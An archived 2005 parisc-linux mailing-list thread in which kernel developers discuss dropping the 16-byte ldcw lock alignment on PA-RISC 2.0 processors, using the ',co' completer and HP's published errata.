List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qLPVYhUzeSEkZr6WZHQhaXN1IGRvb0Cd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22765

On Thu, Jun 09, 2005 at 01:07:02AM -0400, Kyle McMartin wrote:
> The 16-byte alignment for ldcw doesn't seem to be required on PA2.0
> processors (though the details of the insn in the manual are confusing)

The PA 2.0 Arch book in fact requires it.

Jim Hull (HP PARISC/IPF Architect) published an errata later
indicating that the alignment could be relaxed to "native access"
(ie 4 byte for ldcw) if ",co" (Coherent Operation) completer was specified.
The email was dated Jan 29th, 2003.
But I can't a direct public reference of it. :^(

Just need to add ",co" to __ldcw() and we should be good.
That might need to be "ifdef CONFIG_PA20" as well...it's been
a while since we've had this conversion on parisc-linux mailing list.


> so let's get rid of it.
> 
> This is a rather nice savings:
>     text    data     bss     dec     hex filename
> 4020166 1814920  368896 6203982  5eaa4e vmlinux
> 4096278 1822416  373400 6292094  60027e vmlinux.orig

Nice indeed. :^)
I like the fact that we lose 76KB in code vs 7K+5K (data+bss).
Implies we might see a measurable perf increase in some code pathes.

> The comment on the PA2.0 case could use a little work though. :)
...
> --- include/asm-parisc/system.h	4 Jun 2005 07:11:25 -0000	1.11
> +++ include/asm-parisc/system.h	9 Jun 2005 04:23:03 -0000
...
> @@ -159,13 +161,26 @@ static inline void set_eiem(unsigned lon
>    (volatile unsigned int *) __ret;                                      \
>  })
>  
> +#else /*CONFIG_PA20*/
> +/* Apparently this architectural requirement was removed from PA2.0
> +   processors. So we'll forego the 16-byte alignment on these machines. */

You could borrow the comment from this patch:
http://lists.parisc-linux.org/pipermail/parisc-linux/2003-November/021747.html

Looks good to me. Please commit after fixing up the comment.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Remove __ldcw_align for PA-RISC 2.0 processors
Date: Thu, 9 Jun 2005 10:29:24 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <200506091429.j59ETPwv008987@hiauly1.hia.nrc.ca>
References: <20050609054700.GA9450@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623800 14801 80.91.229.3 (22 Nov 2014 02:36:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:40 +0000 (UTC)
Cc: kyle@fattire.cabal.ca,
 parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Jun 2005 14:29:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 09 Jun 2005 16:29:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 381107D6EA;
	Thu,  9 Jun 2005 08:29:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26208-07; Thu, 9 Jun 2005 08:29:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A2FED7D6EB;
	Thu,  9 Jun 2005 08:29:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 030BC7D6C1
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Jun 2005 08:29:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26065-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Jun 2005 08:29:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 6AF5B7D679
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Jun 2005 08:29:27 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j59ETPnV008988; Thu, 9 Jun 2005 10:29:25 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j59ETPwv008987;
	Thu, 9 Jun 2005 10:29:25 -0400 (EDT)
In-Reply-To: <20050609054700.GA9450@colo.lackof.org> from "Grant Grundler" at
	Jun 8, 2005 11:47:00 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: BTfaYo83eSEkSb6WZHQhaXN1IGRvb8Cb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22766

> Just need to add ",co" to __ldcw() and we should be good.
> That might need to be "ifdef CONFIG_PA20" as well...it's been
> a while since we've had this conversion on parisc-linux mailing list.

Yes, you need ",co" to get rid of the 16-byte alignment requirement.
This causes the operation to be done in cache which is a performance
win.  I think this is safe for SMP.  While the ",co" completer was
added in PA 1.1, it wasn't required that it be supported.  Thus,
I think we are stuck with 16-byte alignment on PA 1.1.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Remove __ldcw_align for PA-RISC 2.0 processors
Date: Thu, 9 Jun 2005 15:46:15 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20050609144615.GA24611@parcelfarce.linux.theplanet.co.uk>
References: <20050609054700.GA9450@colo.lackof.org>
	<200506091429.j59ETPwv008987@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623800 14807 80.91.229.3 (22 Nov 2014 02:36:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:40 +0000 (UTC)
Cc: kyle@fattire.cabal.ca,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Jun 2005 14:45:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx031) with SMTP; 09 Jun 2005 16:45:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 053037D6F3;
	Thu,  9 Jun 2005 08:45:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26563-02; Thu, 9 Jun 2005 08:45:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BB7E07D6FA;
	Thu,  9 Jun 2005 08:45:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F0F067D6EB
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Jun 2005 08:45:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26370-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Jun 2005 08:45:19 -0600 (MDT)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 620CB7D6EA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Jun 2005 08:45:19 -0600 (MDT)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.43) id 1DgOIR-00009r-TY; Thu, 09 Jun 2005 15:46:15 +0100
Content-Disposition: inline
In-Reply-To: <200506091429.j59ETPwv008987@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XjPaYiJQeSEkbb6WZHQhaXN1IGRvb0CT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22767

On Thu, Jun 09, 2005 at 10:29:24AM -0400, John David Anglin wrote:
> Yes, you need ",co" to get rid of the 16-byte alignment requirement.
> This causes the operation to be done in cache which is a performance
> win.  I think this is safe for SMP.  While the ",co" completer was
> added in PA 1.1, it wasn't required that it be supported.  Thus,
> I think we are stuck with 16-byte alignment on PA 1.1.

Agreed.  Fortunately, the only machines we care about that are both PA1.1
and SMP are the PA7200 based servers and workstations -- J200, J210, J210XC,
D250, D260, D350, D360, K100, K200, K210, K400 and K410.  Technically, the
early T-class servers and some G, H, I class servers were also SMP PA1.1,
but we don't really care about them.  Anyway, it seems pointless to penalise
the 64-bit machines for something that doesn't affect them.

For userspace, it's obviously different.  There, we have to cope with
any PA processor, and thus have to use a "self aligning" lock, but the
kernel can be fine tuned.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Remove __ldcw_align for PA-RISC 2.0 processors
Date: Thu, 9 Jun 2005 09:05:26 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20050609150526.GA9291@colo.lackof.org>
References: <20050609054700.GA9450@colo.lackof.org>
	<200506091429.j59ETPwv008987@hiauly1.hia.nrc.ca>
	<20050609144615.GA24611@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623801 14811 80.91.229.3 (22 Nov 2014 02:36:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Jun 2005 15:35:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 09 Jun 2005 17:35:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8ED777D70D;
	Thu,  9 Jun 2005 09:01:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26867-01; Thu, 9 Jun 2005 09:01:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7185D7D6F3;
	Thu,  9 Jun 2005 09:01:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B47AF7D6EB
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Jun 2005 09:01:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26563-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Jun 2005 09:01:45 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 398647D6EA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Jun 2005 09:01:45 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id C3A2529803C;
	Thu,  9 Jun 2005 09:05:27 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10767-07; Thu, 9 Jun 2005 09:05:26 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7C4BE298034; Thu,  9 Jun 2005 09:05:26 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050609144615.GA24611@parcelfarce.linux.theplanet.co.uk>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /QTaYvBfeSEkf76WZHQhaXN1IGRvb8CX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22768

On Thu, Jun 09, 2005 at 03:46:15PM +0100, Matthew Wilcox wrote:
...
> For userspace, it's obviously different.  There, we have to cope with
> any PA processor, and thus have to use a "self aligning" lock, but the
> kernel can be fine tuned.

For *32-bit* userspace, I agree. Someday someone will be motivated
to get a 64-bit userspace together.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Hull" <jim.hull@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Remove __ldcw_align for PA-RISC 2.0 processors
Date: Thu, 9 Jun 2005 10:32:34 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <200506091732.KAA07794@lucy.cup.hp.com>
References: <20050609054700.GA9450@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623801 14814 80.91.229.3 (22 Nov 2014 02:36:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Grant Grundler'" <grundler@parisc-linux.org>,
 "'Kyle McMartin'" <kyle@fattire.cabal.ca>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Jun 2005 17:32:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx030) with SMTP; 09 Jun 2005 19:32:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 290267D6D5;
	Thu,  9 Jun 2005 11:32:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27950-05; Thu, 9 Jun 2005 11:32:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 89E537D6D8;
	Thu,  9 Jun 2005 11:32:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C2567D6D3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Jun 2005 11:32:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27950-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Jun 2005 11:32:37 -0600 (MDT)
Original-Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246])
	by free.linux.hp.com (Postfix) with ESMTP id 9C9E57D6D2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Jun 2005 11:32:37 -0600 (MDT)
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by palrel11.hp.com (Postfix) with ESMTP id 4425C508B;
	Thu,  9 Jun 2005 10:32:37 -0700 (PDT)
Original-Received: from jh733133 (jh733133.americas.hpqcorp.net [15.244.99.3])
	by lucy.cup.hp.com (8.9.3 (PHNE_28809+JAGae91741)/8.9.3 SMKit7.02) with
	ESMTP id KAA07794; Thu, 9 Jun 2005 10:32:36 -0700 (PDT)
X-Mailer: Microsoft Office Outlook, Build 11.0.6353
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180
Thread-Index: AcVstpwtz6m52JFVSLSB8P3+xB935gAYiWKQ
In-Reply-To: <20050609054700.GA9450@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FRjaYmMseSEkbL6WZHQhaXN1IGRvb8Cc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22769

Grant wrote: 

> Jim Hull (HP PARISC/IPF Architect) published an errata later
> indicating that the alignment could be relaxed to "native access"
> (ie 4 byte for ldcw) if ",co" (Coherent Operation) completer 
> was specified.
> The email was dated Jan 29th, 2003.
> But I can't a direct public reference of it. :^(

The public errata are here:

 
http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,592,0
0.html

and the semaphore alignment change is here:

 
http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,5310,
00.html

 -- Jim


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Remove __ldcw_align for PA-RISC 2.0 processors
Date: Thu, 9 Jun 2005 14:05:24 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <200506091805.j59I5OTP010102@hiauly1.hia.nrc.ca>
References: <200506091732.KAA07794@lucy.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623801 14820 80.91.229.3 (22 Nov 2014 02:36:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:41 +0000 (UTC)
Cc: kyle@fattire.cabal.ca,
 parisc-linux@lists.parisc-linux.org
To: jim.hull@hp.com (Jim Hull)
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Jun 2005 18:05:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 09 Jun 2005 20:05:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B0B867D6E7;
	Thu,  9 Jun 2005 12:05:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28474-06; Thu, 9 Jun 2005 12:05:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 245CA7D6EA;
	Thu,  9 Jun 2005 12:05:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 346297D6DD
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Jun 2005 12:05:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28483-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 9 Jun 2005 12:05:32 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 9531A7D403
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  9 Jun 2005 12:05:32 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j59I5PnV010103; Thu, 9 Jun 2005 14:05:25 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j59I5OTP010102;
	Thu, 9 Jun 2005 14:05:24 -0400 (EDT)
In-Reply-To: <200506091732.KAA07794@lucy.cup.hp.com> from "Jim Hull" at Jun 9,
	2005 10:32:34 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
